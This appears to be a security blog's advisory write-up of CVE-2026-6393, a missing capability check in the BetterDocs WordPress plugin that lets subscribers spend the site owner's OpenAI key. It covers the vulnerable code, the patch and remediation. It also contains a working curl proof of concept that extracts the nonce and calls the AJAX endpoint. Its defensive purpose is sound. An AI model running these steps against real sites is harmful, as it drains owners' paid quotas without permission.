BetterDocs WordPress plugin banner

CVE-2026-6393: Authenticated Missing Authorization in BetterDocs Plugin

CVE-2026-6393 is a CVSS 4.3 (Medium) Missing Authorization vulnerability in the BetterDocs – Knowledge Base Docs & FAQ Solution for Elementor & Block Editor WordPress plugin. Any authenticated user with a Subscriber role or above can trigger OpenAI API calls using the site owner’s configured API key. This drains paid quota and lets the attacker send any prompt through the site’s account.

Vulnerability Summary

FieldValue
Plugin NameBetterDocs – Knowledge Base Docs & FAQ Solution for Elementor & Block Editor
Plugin Slugbetterdocs
CVE IDCVE-2026-6393
CVSS Score4.3 (Medium)
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
Vulnerability TypeMissing Authorization
Affected Versions<= 4.3.11
Patched Version4.3.12
PublishedApril 23, 2026
Researcherh0xilo
Wordfence AdvisoryLink

Description

The BetterDocs plugin for WordPress is vulnerable to Missing Authorization in versions up to and including 4.3.11. The root cause is a missing capability check in the generate_openai_content_callback() function. The function relies only on a nonce, not on user permissions. As a result, authenticated attackers with Subscriber-level access can trigger OpenAI API calls using the site’s configured API key with any prompt they choose. This drains the site owner’s paid AI quota.

Technical Analysis

Vulnerable Code Path

File: includes/Core/WriteWithAI.php

Step 1 — Class instantiation (lines 15–32): The WriteWithAI class is initialized unconditionally on every WordPress request via the init hook in includes/Plugin.php:256. The constructor reads $_GET['post_type'] directly without any sanitization or authorization guard:

// WriteWithAI.php:15-32 (vulnerable version 4.3.11)
public function __construct( Settings $settings ) {
    $this->settings = $settings;
    $post_id = isset( $_GET['post'] ) ? intval( $_GET['post'] ) : 0;

    if ( ! empty( $_GET['post_type'] ) ) {
        $post_type = $_GET['post_type'];      // reads attacker-controlled URL param
    } elseif ( $post_id > 0 ) {
        $post_type = get_post_type( $post_id );
    } else {
        $post_type = '';
    }

    if ( ! empty( $this->isEnabledWriteWithAI() ) && 'docs' == $post_type ) {
        add_action( 'admin_footer', array( $this, 'ai_autowrite_button' ) );
    }
    add_action( 'wp_ajax_generate_openai_content', array( $this, 'generate_openai_content_callback' ) );
}

Step 2 — Nonce exposure via URL manipulation (line 426): The $post_type variable comes directly from $_GET['post_type'] with no authorization check. Any logged-in user can force ai_autowrite_button() to fire in the admin footer — simply by appending ?post_type=docs to any wp-admin URL they can access. The method then inlines a fresh nonce into the page source:

// Inside ai_autowrite_button() — rendered to admin footer
const nonce = "<?php echo esc_attr( wp_create_nonce( 'generate_openai_content_nonce' ) ); ?>";

A subscriber visiting /wp-admin/?post_type=docs triggers this hook and receives the nonce in the rendered page HTML.

Step 3 — AJAX callback without capability check (lines 138–157): The wp_ajax_generate_openai_content action is available to any logged-in user. The callback verifies the nonce but performs no current_user_can() check before making an OpenAI API call:

// WriteWithAI.php:138-157 (vulnerable)
public function generate_openai_content_callback() {
    // No current_user_can() check here
    if ( ! isset( $_POST['ai_nonce'] ) || ! wp_verify_nonce( $_POST['ai_nonce'], 'generate_openai_content_nonce' ) ) {
        wp_send_json_error( 'Invalid nonce' );
        wp_die();
    }

    $prompt   = sanitize_text_field( $_POST['prompt'] );
    $keywords = sanitize_text_field( $_POST['keywords'] );

    $ai_instance = new WriteWithAI( $this->settings );
    $generated_content = $ai_instance->generate_openai_response( $prompt, $keywords );

    wp_send_json_success( $generated_content );
    wp_die();
}

Step 4 — OpenAI API call with site’s credentials (lines 86–136): generate_openai_response() retrieves the site owner’s API key from plugin settings and forwards the attacker-controlled prompt to OpenAI:

public function generate_openai_response( $prompt, $keywords ) {
    $api_key    = $this->settings->get( 'ai_autowrite_api_key', '' );  // site owner's key
    $max_tokens = $this->settings->get( 'ai_autowrite_max_token', 1500 );
    $model      = $this->settings->get( 'write_with_ai_model', 'gpt-4o-mini' );

    $request_options = array(
        'headers' => array( 'Authorization' => 'Bearer ' . $api_key ),
        'body'    => json_encode( array(
            'model'    => $model,
            'messages' => array(
                array( 'role' => 'system', 'content' => '...' ),
                array( 'role' => 'user',   'content' => $prompt )  // attacker-controlled
            ),
            'max_tokens' => $max_tokens
        ) ),
    );
    $response = wp_remote_post( 'https://api.openai.com/v1/chat/completions', $request_options );
    // ...
}

Root Cause

The generate_openai_content_callback() function (registered at wp_ajax_generate_openai_content) contains no capability check. Nonce verification alone does not authorize the action; it only proves session validity. Any subscriber who can authenticate to WordPress and obtain a nonce for generate_openai_content_nonce can invoke the callback.

A secondary root cause compounds the problem. The constructor reads $_GET['post_type'] without any user-context check. This lets any authenticated user force ai_autowrite_button() to fire in the admin footer and collect a valid nonce.

Why the Nonce Check Was Not Enough

The plugin did use a nonce — so why wasn’t that enough? WordPress nonces are user-session tokens, not capability tokens. wp_verify_nonce() returns true whenever a logged-in user submits a nonce they generated for themselves — regardless of their role. A subscriber’s nonce for generate_openai_content_nonce is fully valid and will pass verification.

The nonce check therefore gave a false sense of security. It prevented CSRF, but it did nothing to stop a low-privileged user from calling the action.

Attack Impact

An authenticated attacker with a subscriber account can:

Proof of Concept

Disclaimer: This PoC is provided for educational and defensive security research purposes only.

Prerequisites

Step-by-Step Reproduction

Step 1: Authenticate and obtain a session cookie

# Log in as subscriber and save cookies
curl -c cookies.txt -b cookies.txt -s -o /dev/null \
  -d "log=subscriber_user&pwd=subscriber_pass&wp-submit=Log+In&redirect_to=%2Fwp-admin%2F&testcookie=1" \
  "https://example.com/wp-login.php"

Step 2: Obtain the nonce by triggering the admin footer on any wp-admin page

Append ?post_type=docs to any wp-admin URL that a subscriber can access (e.g., the dashboard). BetterDocs reads $_GET['post_type'] unconditionally during init and injects ai_autowrite_button() into admin_footer, which outputs the nonce in the page HTML.

# Fetch the wp-admin dashboard with the triggering query param, extract nonce
NONCE=$(curl -c cookies.txt -b cookies.txt -s \
  "https://example.com/wp-admin/?post_type=docs" \
  | grep -oP '(?<=const nonce = ")[^"]+')

echo "Nonce: $NONCE"

Step 3: Call the vulnerable AJAX endpoint with an arbitrary prompt

curl -c cookies.txt -b cookies.txt -s \
  -X POST "https://example.com/wp-admin/admin-ajax.php" \
  -d "action=generate_openai_content" \
  -d "ai_nonce=${NONCE}" \
  -d "prompt=Write a 2000-word essay about the French Revolution in detail." \
  -d "keywords=France,revolution,Napoleon"

Expected Result

The server responds with JSON containing an AI-generated response:

{
  "success": true,
  "data": "The French Revolution, which began in 1789, was a period of radical political..."
}

This confirms that the site’s OpenAI API key was used to fulfill the subscriber’s arbitrary prompt request, consuming API quota and incurring costs on the site owner’s account.

Verification

  1. Log in to the OpenAI platform at platform.openai.com as the site owner and check Usage → Activity — you will see the unexpected API calls
  2. Check WordPress error logs for repeated calls to https://api.openai.com/v1/chat/completions
  3. A successful response with "success": true in the AJAX output confirms the exploit worked

Patch Analysis

What Changed

Six files were modified in version 4.3.12:

FileChange
includes/Core/WriteWithAI.phpAdded current_user_can('edit_posts') check in callback; refactored nonce registration to current_screen hook with capability gate
assets/admin/css/global.cssMinor style updates
betterdocs.phpVersion bump
includes/Core/Admin.phpMinor admin updates
includes/Plugin.phpMinor updates
README.txtChangelog entry

Fix Explanation

The patch addresses both root causes:

Fix 1 — Capability check added to the AJAX callback:

 public function generate_openai_content_callback() {
+    if ( ! current_user_can( 'edit_posts' ) ) {
+        wp_send_json_error( 'Unauthorized' );
+        wp_die();
+    }
+
     // Verify the nonce
     if ( ! isset( $_POST[ 'ai_nonce' ] ) || ! wp_verify_nonce( ... ) ) {

Fix 2 — Nonce exposure restricted to authorized users via current_screen:

 public function __construct( Settings $settings ) {
     $this->settings = $settings;
-    $post_id = isset( $_GET['post'] ) ? intval( $_GET['post'] ) : 0;
-    if ( ! empty( $_GET['post_type'] ) ) {
-        $post_type = $_GET['post_type'];
-    } elseif ( $post_id > 0 ) { ...
-    if ( ! empty( $this->isEnabledWriteWithAI() ) && 'docs' == $post_type ) {
-        add_action( 'admin_footer', array( $this, 'ai_autowrite_button' ) );
-    }
-    add_action( 'wp_ajax_generate_openai_content', array( $this, 'generate_openai_content_callback' ) );
+    if ( ! empty( $this->isEnabledWriteWithAI() ) ) {
+        add_action( 'current_screen', array( $this, 'maybe_register_ai_autowrite_button' ) );
+    }
+    add_action( 'wp_ajax_generate_openai_content', array( $this, 'generate_openai_content_callback' ) );
 }

+public function maybe_register_ai_autowrite_button() {
+    if ( ! current_user_can( 'edit_posts' ) ) {
+        return;
+    }
+    $screen = get_current_screen();
+    if ( $screen && 'docs' === $screen->post_type && 'post' === $screen->base ) {
+        add_action( 'admin_footer', array( $this, 'ai_autowrite_button' ) );
+    }
+}

The patch replaces $_GET['post_type'] with get_current_screen(), which uses WordPress’s actual screen context rather than user-supplied URL parameters. Both the nonce display and the AJAX callback are now gated behind current_user_can('edit_posts'). The fix closes both attack vectors completely.

Timeline

DateEvent
April 22, 2026BetterDocs 4.3.12 (patched version) released
April 23, 2026Vulnerability publicly disclosed by Wordfence
April 23, 2026Advisory published

Remediation

Update the betterdocs plugin to version 4.3.12 or later.

References

  1. Wordfence Advisory
  2. WriteWithAI.php trunk — line 138
  3. WriteWithAI.php tags/4.3.6 — line 138
  4. WriteWithAI.php trunk — line 31
  5. WriteWithAI.php tags/4.3.6 — line 31
  6. Changeset 3512640

Frequently Asked Questions

What is CVE-2026-6393?

CVE-2026-6393 is a CVSS 4.3 Medium Missing Authorization vulnerability in the BetterDocs WordPress plugin that allows authenticated subscribers to abuse the site owner's paid OpenAI API key.

Which versions of BetterDocs are affected by CVE-2026-6393?

All versions of BetterDocs up to and including 4.3.11 are affected. Version 4.3.12 contains the fix.

What can an attacker do with CVE-2026-6393?

An attacker can make unlimited OpenAI API calls using the site owner's paid API key and send any prompt through the site's account. This can exhaust the site owner's AI quota and cause unexpected charges on their OpenAI billing account.

Does an attacker need to be logged in to exploit CVE-2026-6393?

Yes, an attacker must be authenticated to WordPress with at least a Subscriber role to exploit this vulnerability.

How do I fix CVE-2026-6393 in BetterDocs?

Update the BetterDocs plugin to version 4.3.12 or later from the WordPress plugin repository or your WordPress dashboard.

Has BetterDocs been patched for CVE-2026-6393?

Yes, BetterDocs version 4.3.12 was released on April 22, 2026 and fully resolves this vulnerability by adding a capability check to the affected AJAX callback.

If you found this post helpful, consider buying me a coffee. It keeps me writing!

Buy Me A Coffee